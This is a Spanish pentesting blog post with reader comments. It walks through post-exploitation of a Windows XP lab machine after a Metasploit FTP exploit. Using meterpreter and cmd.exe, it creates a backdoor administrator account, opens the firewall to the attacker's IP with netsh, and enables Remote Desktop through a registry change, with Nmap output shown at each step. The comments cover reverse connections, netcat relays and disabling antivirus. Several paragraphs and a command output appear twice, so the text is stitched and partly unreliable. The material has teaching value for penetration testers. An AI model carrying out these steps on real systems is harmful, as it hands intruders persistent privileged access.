La semana pasada os mostrabamos como modificar un exploit existente en Metasploit Framework para que funcionara en un entorno con los últimos parches (SP3) y en Español. Mediante este exploit modificado conseguiamos aprovechar una vulnerabilidad del servicio FTP para conseguir una shell cmd.exe o incluso un meterpreter en el sistema remoto.
Ahora bien, ¿Qué podemos hacer con la shell? Yo os diría que todo. Menos dibujar con el Paint (o quizá es que yo no sepa como hacerlo :P).
Tras muchos años de herramientas de gestión con interface gráfico, un porcentaje muy alto de técnicos se bloquean al ver la "pantalla negra". Incluso técnicos muy unixeros acostumbrados a pelearse día a día con la linea de comandos se encuentran perdidos cuando se encuentran con la linea de comandos en un sistema Windows, ya que su sintaxis y sus comandos no son tan ampliamente conocidos como los de sus "parientes" de sistemas Unix.
Por eso, vamos a continuar donde lo dejamos la semana pasada. Vale, hemos explotado una vulnerabilidad y tenemos acceso shell a la máquina... ¿y ahora qué? Podriamos hacer muchas cosas, pero vamos a ir a lo fácil, vamos a intentar entrar por RDP (Escritorio Remoto) a la máquina para así poder usar todas esas herramientas gráficas que tanto nos gustan. Aprovechando que tenemos el meterpreter cargado podriamos intentar utilizar algunas de sus capacidades, como por ejemplo el script getgui, que nos permite crearnos un usuario, darle privilegios y activar el escritorio remoto todo en una sola linea:
meterpreter > run getgui -u jselvi -p p3nt3st3r
[*] Windows Remote Desktop Configuration Meterpreter Script by Darkoperator
[*] Carlos Perez carlos_perez@darkoperator.com
[*] Enabling Remote Desktop
[*] RDP is disabled; enabling it ...
[*] Setting Terminal Services service startup mode
[*] Terminal Services service is already set to auto
[*] Opening port in local firewall if necessary
[*] Setting user account for logon
[*] Adding User: jselvi with Password: p3nt3st3r
[*] Adding User: jselvi to local group Remote Desktop Users
[*] Adding User: jselvi to local group Administrators
[*] You can now login with the created user
Sin embargo, si probamos el acceso nos devuelve un mensaje "Las directivas locales de este sistema no permiten iniciar una sesión interactiva". Parece lógico, ya que mi Windows en Español no tiene ni grupo "Administrators" ni "Remote Desktop Users", por lo que aunque el usuario se ha creado no se le ha asignado ningún tipo de privilegios. Parece ser que tendremos que abrirnos una shell y hacer las cosas "a la antigua" (aka "a lo divertida") ;) Para ello hemos restaurado previamente el sistema atacado, por lo que es como si nunca hubieramos intentado usar getgui.
Como paso previo, deberemos sacar una shell cmd.exe desde el meterpreter que hemos conseguido en la máquina, si es que hemos usado este PAYLOAD en lugar de usar uno que directamente nos de la shell:
meterpreter> execute -f cmd.exe -i
Primero que nada, vamos a crearnos un usuario (jselvi:p3nt3st3r) y lo vamos a meter en el grupo "Administradores" y "Usuarios de escritorio remoto", para que podamos entrar por RDP y desde ahí tener todos los privilegios que podamos necesitar sobre la máquina:
Ahora bien, ¿Qué podemos hacer con la shell? Yo os diría que todo. Menos dibujar con el Paint (o quizá es que yo no sepa como hacerlo :P).
Tras muchos años de herramientas de gestión con interface gráfico, un porcentaje muy alto de técnicos se bloquean al ver la "pantalla negra". Incluso técnicos muy unixeros acostumbrados a pelearse día a día con la linea de comandos se encuentran perdidos cuando se encuentran con la linea de comandos en un sistema Windows, ya que su sintaxis y sus comandos no son tan ampliamente conocidos como los de sus "parientes" de sistemas Unix.
Por eso, vamos a continuar donde lo dejamos la semana pasada. Vale, hemos explotado una vulnerabilidad y tenemos acceso shell a la máquina... ¿y ahora qué? Podriamos hacer muchas cosas, pero vamos a ir a lo fácil, vamos a intentar entrar por RDP (Escritorio Remoto) a la máquina para así poder usar todas esas herramientas gráficas que tanto nos gustan. Aprovechando que tenemos el meterpreter cargado podriamos intentar utilizar algunas de sus capacidades, como por ejemplo el script getgui, que nos permite crearnos un usuario, darle privilegios y activar el escritorio remoto todo en una sola linea:
meterpreter > run getgui -u jselvi -p p3nt3st3r
[*] Windows Remote Desktop Configuration Meterpreter Script by Darkoperator
[*] Carlos Perez carlos_perez@darkoperator.com
[*] Enabling Remote Desktop
[*] RDP is disabled; enabling it ...
[*] Setting Terminal Services service startup mode
[*] Terminal Services service is already set to auto
[*] Opening port in local firewall if necessary
[*] Setting user account for logon
[*] Adding User: jselvi with Password: p3nt3st3r
[*] Adding User: jselvi to local group Remote Desktop Users
[*] Adding User: jselvi to local group Administrators
[*] You can now login with the created user
Sin embargo, si probamos el acceso nos devuelve un mensaje "Las directivas locales de este sistema no permiten iniciar una sesión interactiva". Parece lógico, ya que mi Windows en Español no tiene ni grupo "Administrators" ni "Remote Desktop Users", por lo que aunque el usuario se ha creado no se le ha asignado ningún tipo de privilegios. Parece ser que tendremos que abrirnos una shell y hacer las cosas "a la antigua" (aka "a lo divertida") ;) Para ello hemos restaurado previamente el sistema atacado, por lo que es como si nunca hubieramos intentado usar getgui.
Como paso previo, deberemos sacar una shell cmd.exe desde el meterpreter que hemos conseguido en la máquina, si es que hemos usado este PAYLOAD en lugar de usar uno que directamente nos de la shell:
meterpreter> execute -f cmd.exe -i
Primero que nada, vamos a crearnos un usuario (jselvi:p3nt3st3r) y lo vamos a meter en el grupo "Administradores" y "Usuarios de escritorio remoto", para que podamos entrar por RDP y desde ahí tener todos los privilegios que podamos necesitar sobre la máquina:
>net user jselvi p3nt3st3r /add
net user jselvi p3nt3st3r /add
Se ha completado el comando correctamente.
>net localgroup Administradores jselvi /add
net localgroup Administradores jselvi /add
Se ha completado el comando correctamente.
>net localgroup "Usuarios de escritorio remoto" jselvi /add
net localgroup "Usuarios de escritorio remoto" jselvi /add
Se ha completado el comando correctamente.
Una vez creados los usuarios, vamos a ver que "se cuece" en el puerto de Terminal Server (3389/TCP) utilizando LA herramienta (las mayusculas son intencionadas) NMap:
# nmap -PN -p 3389 172.16.24.144
Starting Nmap 4.68 ( http://nmap.org ) at 2009-10-27 23:06 CET
Interesting ports on 172.16.24.144:
PORT STATE SERVICE
3389/tcp filtered ms-term-serv
Parece que tenemos filtrado el acceso al servicio, así que vamos a tener que desactivar el firewall, o mejor aún, crear una excepción para nuestra IP de origen, así sólo nosotros tendremos acceso al Terminal Server y nadie más podrá aprovechar nuestro trabajo para entrar en la máquina:
>netsh firewall add portopening protocol = TCP port = 3389 name = RDP mode = ENABLE scope = CUSTOM addresses = 172.16.24.130
netsh firewall add portopening protocol = TCP port = 3389 name = RDP mode = ENABLE scope = CUSTOM addresses = 172.16.24.130
Aceptar
Comprobemos de nuevo con NMap como va el asunto:
# nmap -PN -p 3389 172.16.24.144
Starting Nmap 4.68 ( http://nmap.org ) at 2009-10-27 23:07 CET
Interesting ports on 172.16.24.144:
PORT STATE SERVICE
3389/tcp closed ms-term-serv
Bueno, vamos mejorando, el puerto ha pasado de filtrado a cerrado, eso quiere decir que el firewall ha sido desactivado correctamente, aunque seguimos sin poder conectar porque no hay un servicio a la escucha. Esto es debido a que hay que modificar una clave de registro en los Windows XP (versión sobre la que estamos realizando las pruebas) para poder activar la administración remota. Hagamoslo:
>reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
Vamos a comprobar de nuevo que visibilidad tenemos sobre el puerto 3389:
# nmap -PN -p 3389 172.16.24.144
Starting Nmap 4.68 ( http://nmap.org ) at 2009-10-27 23:07 CET
Interesting ports on 172.16.24.144:
PORT STATE SERVICE
3389/tcp open ms-term-serv
PERFECTO!! Parece que la cosa marcha, ya tenemos el puerto abierto para nosotros, ya solo tenemos que acceder y probar la contraseña que hemos configurado a ver si todo el proceso anterior ha surtido efecto:
# rdesktop 172.16.24.144
Bueno, ya ha pasado el "mal trago", ya tenemos acceso gráfico y los que le tiene fobia al terminal pueden cerrar ya la consola, restablecer el servicio que ha sido explotado (si es que ha quedado inestable) y... echarle imaginación :) (hashes? pass-the-hash? escanear la red local? ...)
Y ahora... hay un "pero" muy evidente en todo esto. ¿A alguien se le ocurre?.
.png "English"){kind=small}
Entradas
18 comentarios :
Pues el pero que se me ocurre q al usar el remote desktop, si esta una persona usando el equipo en ese momento le bloquearemos su sesion
Al crear un usuario aparecerá en la pantalla de inicio de Windows, ademas indicara que estamos logueados y las aplicaciones abiertas.
Lo que comentais es totalmente cierto, en este caso, tratándose de un Windows XP, pasaran esas dos cosas que comentais, por un lado, si un usuario está usando una sesión esta se cerrará cuando abramos la sesión de escritorio remoto, y por otro lado además aparecerá cuando se haga login por haber creado un nuevo usuario.
Sin embargo, esto ocurre porque es un Windows XP (que es el que he usado porque es el que tengo más a mano). Si fuera un sistema de la familia de servidores de MS estos problemas no existirían.
El problema que yo llevo en la cabeza, olvidandonos de los problemas concretos de Windows XP, es algo más... Imaginad que estais haciendo un pentest y encontrais un FTP con esta vulnerabilidad, ¿podrías realizar todos estos pasos tal cual los explicamos aquí? ¿Qué podría fallar?
En cualquier caso, dos apuntes TOTALMENTE CIERTOS ;)
Gracias por los comentarios!
Hola!, tal vez el problema que encontremos es que el fw de windows no sea el único que hay en la red (esto sería lo más lógico) por lo cual el puerto para RDP seguiria filtrado por mas que desactivemos el fw de windows.
Saludos!, exelente artículo =).
BINGO! Lo normal es que tengamos algún firewall antes, así que va a ser difícil que podamos iniciar conexiones desde Internet hasta el equipo final. Ese es el principal problema.
Ahora la segunda pregunta, ¿cómo lo solucionamos?
Saludos y gracias por los comentarios!
Un post muy interesante, tan claro como siempre :)
Se puede saltar mediante conexión inversa, provocando que él se conecte a nosotros.
pues desactivando estos firewalls! :P
algunas ideas para hacerlo se pueden tomar de este artículo que publicaron recientemente en SBD sobre un estudio: http://www.securitybydefault.com/2009/11/how-to-deshabilitar-mcafee-nod32-norton.html
El principal problema con los firewalls lo tendriamos si son dispositivos de red. Cualquier tipo de FW que esté en el propio equipo no sería un problema, puesto que probablemente seriamos capaces de desactivarlo.
Efectivamente Rafa, cuando obtenemos nuestra shell o meterpreter podemos utilizar una conexión reversa. Siempre es preferible una conexión reversa, en primer lugar para evitar que un FW nos impida conectar y por otro lado para no dejar expuesto el equipo a cualquiera que pueda conectar a ese puerto (podemos estarle poniendo facil las cosas a un intruso).
Vale, ya lo tenemos, si realizamos una conexión reversa podemos acceder al meterpreter o a la shell y a partir de ahí crear usuario, activar el escritorio remoto, etc.
Y ahora, ¿cómo conectamos al puerto de escritorio remoto?
mmmm, creo que podemos tomar la idea del NetCat de tu post anterior (la solución al reto de hacking publicada hace un tiempo), pero no me quedo bien claro como realizarlo.
Exacto! Sólo tenemos que jugar un poco con NetCat:
http://www.pentester.es/2009/09/jugando-con-netcat.html
=) por ahí venía. En lo posible me gustaría si en algún futuro post podrías profundizar más en este tema ya que no me quedo muy claro con el post anterior!. Saludos y gracias.
Claro Nahucito, ningún problema, lo único es que ahora tenemos en la cabeza lo de los posts de exploiting y llevabamos idea de ponerlos antes, pero si tienes algo de paciencia intentaremos re-explicar lo del NetCat de otra manera que se entienda mejor.
Si te corre prisa, puedes escribirme un correo (jselvi en, ya sabes, pentester.es) y comentarme que es lo que no entendiste. Además, me resultaría útil saber que parte no se entiende a la hora de volverlo a explicar.
Saludos a todos!
Lo mas confuso que encontre es lo de abrir dos netcat en la misma máquina y de alguna manera conectarlos entre si (en lo que sería la santa´s Laptop). No hay apuro, ya que todos los post del blog son interesantes y dejan cosas para investigar!.
Nahucito, piensa en los netcat como si tuvieras un cable con conectores Macho y Hembra. Un NetCat en modo normal es, como cualquier software que inicie una conexión, un cable con terminador Macho, y necesita un terminador Hembra al que conectar. Un NetCat en modo listener es, como cualquier software a la escucha en un puerto, un cable con un terminador Hembra, al que conectarán los terminadores Macho.
Una vez explicado eso, sabemos que del servidor hay que conectar hacia el portatil de Santa, ya que el FireWall nos impide hacerlo a la inversa, y que Metasploit, para explicar la vulnerabilidad, tiene que conectar a un servicio a la escucha, así que tenemos un cable Macho que viene del servido y otro cable Macho que viene de Metasploit en el portatil de Santa.
Cómo lo puenteamos todo? Pues necesitamos un NetCat "hembra" (en modo listener) para que reciba la conexión que viene desde el servidor y otro también "hembra" que reciba la conexión de Metasploit, y estos dos deben estar comunicados. Eso es lo que se hace en el reto, coger dos netcat listener para que terminen las dos conexiones que hemos comentado, y "empalmarlas" con el juego de las tuberías. Una vez hecho esto ya tenemos camino directo hacia el servidor.
Se entiende un poco más ahora?
Sino me dices algo.
Saludos y gracias por los comentarios ;)
Hola Jose!, buenos días, ahora el tema quedo mucho más claro, solo me quedaría probarlo en algunas máquinas virtuales (en cuanto tenga un rato probaré), gracias por interesarte y tomarte el tiempo de responderme!. No quiero ser repetitivo pero... exelente Blog.
Saludos! y espero tu próximo Post.
Creo que se puede reutilizar este articulo para hacer forwarding de la conexion RDP a traves de meterpreter
http://www.room362.com/blog/2009/12/15/meterpreter-tunneling-and-vnc-revamped.html?utm_source=twitterfeed&utm_medium=pingfm
Hola @ghosthunter, muy buen apunte el que nos haces, habría que modificar un poco el script para que en lugar de crear un proceso, inyectar el VNC y hacer el portfwd pertinente, hiciera el mismo proceso del que hemos hablado en el artículo.
Sin embargo, tendríamos el mismo problema de Firewalls, ya que portfwd no hace conexiones reversas.
Por si os sirve a alguno:
Si no os da confirmación de orden aceptada en el cmd.exe y solo os sale el prompt es que no pusisteis bien el nombre del grupo, en ingles son:
"administrators" y "Remote Desktop Users" y para listar los grupos locales y os evitais el tema de los idiomas por si es uno raruno: net localgroups y mirais
saludos
Publicar un comentario